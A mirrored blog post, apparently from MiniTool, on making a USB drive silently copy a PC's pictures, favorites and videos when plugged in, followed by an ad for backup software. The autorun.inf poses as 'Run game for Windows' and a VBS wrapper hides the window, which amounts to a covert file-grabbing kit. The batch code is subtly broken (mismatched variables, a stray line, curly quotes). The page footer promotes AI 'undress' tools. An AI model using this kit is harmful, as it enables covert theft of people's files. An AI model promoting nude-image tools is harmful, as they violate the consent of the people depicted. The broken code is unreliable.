目录
How to Automatically Copy File When USB Drive Connected toYour PC?
Suggestion: Back up Your Files Regularly with MiniTool ShadowMaker
Final Words
首页 电脑教程 电脑知识 [固定]连接USB驱动器时如何自动复制文件? - Minitool

[固定]连接USB驱动器时如何自动复制文件? - Minitool

Apr 14, 2025 am 12:28 AM

[固定]连接USB驱动器时如何自动复制文件? -  Minitool

How to auto copy USB files silently without notifications on Windows 10/11? If you need to do that, this post from MiniTool Website will help you automatically copy files when USB files connected in detail. Without wasting more time, let’s jump into it right now!

Some of you are looking for a way to copy the files automatically when USB drive plugged in your computer. Don’t worry, this idea seems difficult to realize but we still find a solution for you.

How to Automatically Copy File When USB Drive Connected toYour PC?

To automatically copy file when USB drive connected to your PC, you need to automatically back up files with autorun.inf and .bat file. Here’s how to do it:

Step 1. Create a notepad on your USB flash drive > copy & paste the following content to it and click on File > Save As > change the file name to Autorun.inf > set file type to all files.

[autorun]

icon=drive.ico

open=launch.bat

action=Click ok to Run game for Windows

shell\open\command=launch.bat

save this file

Step 2. Create a notepad file with the following contents on your USB flash dive> click on File > Save As > rename it to file.bat > change file type to all types. You can replace picture, videos, Favorites according to your needs.

@echo off

:: variables

/min

SET odrive=%odrive:~0,2%

set backupcmd=xcopy /s /c /d /e /h /i /r /y

echo off

%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”

%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”

%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”

@echo off

cls

Step 3. Similarly, you can create a notepad file on USB drive named invisible.vbs with the following content. This operation is to create a VB Script to batch file as invisible.

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

Step 4. To make a batch file for running VB Script and file.bat, you need to create a notepad file named launch.bat with the following content:

wscript.exe \invisible.vbs file.bat

Step 5. At last, create a folder in the root of USB flash drive named all. Save all the files in the folder and make it hidden. Click on file.bat to test if the batch file works for automatically copy files when USB drive connected to your PC.

Suggestion: Back up Your Files Regularly with MiniTool ShadowMaker

After knowing how to make a USB drive copy files automatically, we recommend an easier way to create an automatic backup – backing up with MiniTool ShadowMaker. This Windows backup software is designed to back up files, folders, partitions, systems, and disks on Windows machines. With it, you can set to back up your task daily, weekly, monthly, or on event. Here’s how to create an automatic backup with ease:

Step 1. Launch MiniTool ShadowMaker to get a 30-day free trial.

Step 2. In the Backup page, choose the file you want to make a copy by hitting SOURCE > Folders and Files. In DESTINATION, select a storage path for your backup task.

hit Folders and Files

Step 3. Click on Back Up Now to start the process or delay the task by hitting Back Up Later. Go to Options > toggle on Schedule Settings manually > set a specific point of a day (s) in a day, week, or month.

create a scheduled backup

Final Words

This post illustrates how to automatically copy files when USB drive connected to your PC via bache file and another easy way to back up your data on a regularly basis. Sincerely they are helpful to you. Appreciate your time!

以上是[固定]连接USB驱动器时如何自动复制文件? - Minitool的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

如何修复蒸汽云错误?尝试这些方法 如何修复蒸汽云错误?尝试这些方法 Apr 04, 2025 am 01:51 AM

蒸汽云错误可能是由于许多原因引起的。要顺利玩游戏,您需要采取一些措施来删除此错误,然后才能启动游戏。 PHP.CN软件在这篇文章中介绍了一些最佳方法以及更多有用的信息。

Windows元数据和Internet服务问题:如何解决? Windows元数据和Internet服务问题:如何解决? Apr 02, 2025 pm 03:57 PM

您可能会看到“无法建立与Windows Metadata和Internet Services(WMI)的连接”。事件查看器的错误。 PHP.CN的这篇文章介绍了如何删除Windows元数据和Internet服务问题。

如何解决KB5035942更新问题 - 崩溃系统 如何解决KB5035942更新问题 - 崩溃系统 Apr 02, 2025 pm 04:16 PM

KB5035942更新问题 - 用户通常发生崩溃系统。受到的人们希望找到摆脱困境的出路,例如崩溃系统,安装或声音问题。针对这些情况,这篇文章由Php.cn Wil发表

修复 -  OneDrive不在PC上上传照片 修复 - OneDrive不在PC上上传照片 Apr 02, 2025 pm 04:04 PM

OneDrive是Microsoft的在线云存储服务。有时,您可能会发现OneDrive无法将照片上传到云。如果您在同一条船上,请继续阅读PHP.CN软件的帖子,以获取有效的解决方案!

修复:兄弟:两个儿子重制的故事不推出/加载 修复:兄弟:两个儿子重制的故事不推出/加载 Apr 02, 2025 am 02:40 AM

兄弟是:两个儿子重制的故事没有发起吗?遇到兄弟:两个儿子重制黑屏的故事?在这里,有关PHP.CN的这篇文章为您提供了测试的解决方案,以帮助您解决此问题。

删除PC App Store恶意软件 - 适合您的完整指南! 删除PC App Store恶意软件 - 适合您的完整指南! Apr 04, 2025 am 01:41 AM

如果您在计算机上有一个名为PC App Store的程序,并且没有故意安装它,则可能会感染恶意软件。 PHP.CN的这篇文章介绍了如何删除PC App Store恶意软件。

安装图形驱动程序后,努力修复黑屏 安装图形驱动程序后,努力修复黑屏 Apr 15, 2025 am 12:11 AM

在Windows 10/11中安装了像NVIDIA驱动程序这样的图形驱动程序之后,您是否曾经遇到过黑屏?现在,在PHP.CN的这篇文章中,您可以找到一些值得尝试的NVIDIA驱动程序更新黑屏的解决方案。

核心隔离是否被ew_usbccgpfilter.sys阻止?这是修复程序! 核心隔离是否被ew_usbccgpfilter.sys阻止?这是修复程序! Apr 13, 2025 am 12:47 AM

许多Surfacebook用户报告说,他们符合Windows 11/10上的“由EW_USBCCGPFILTER.SYS阻止的核心隔离”问题。 PHP.CN的这篇文章有助于解决烦人的问题。继续阅读。

See all articles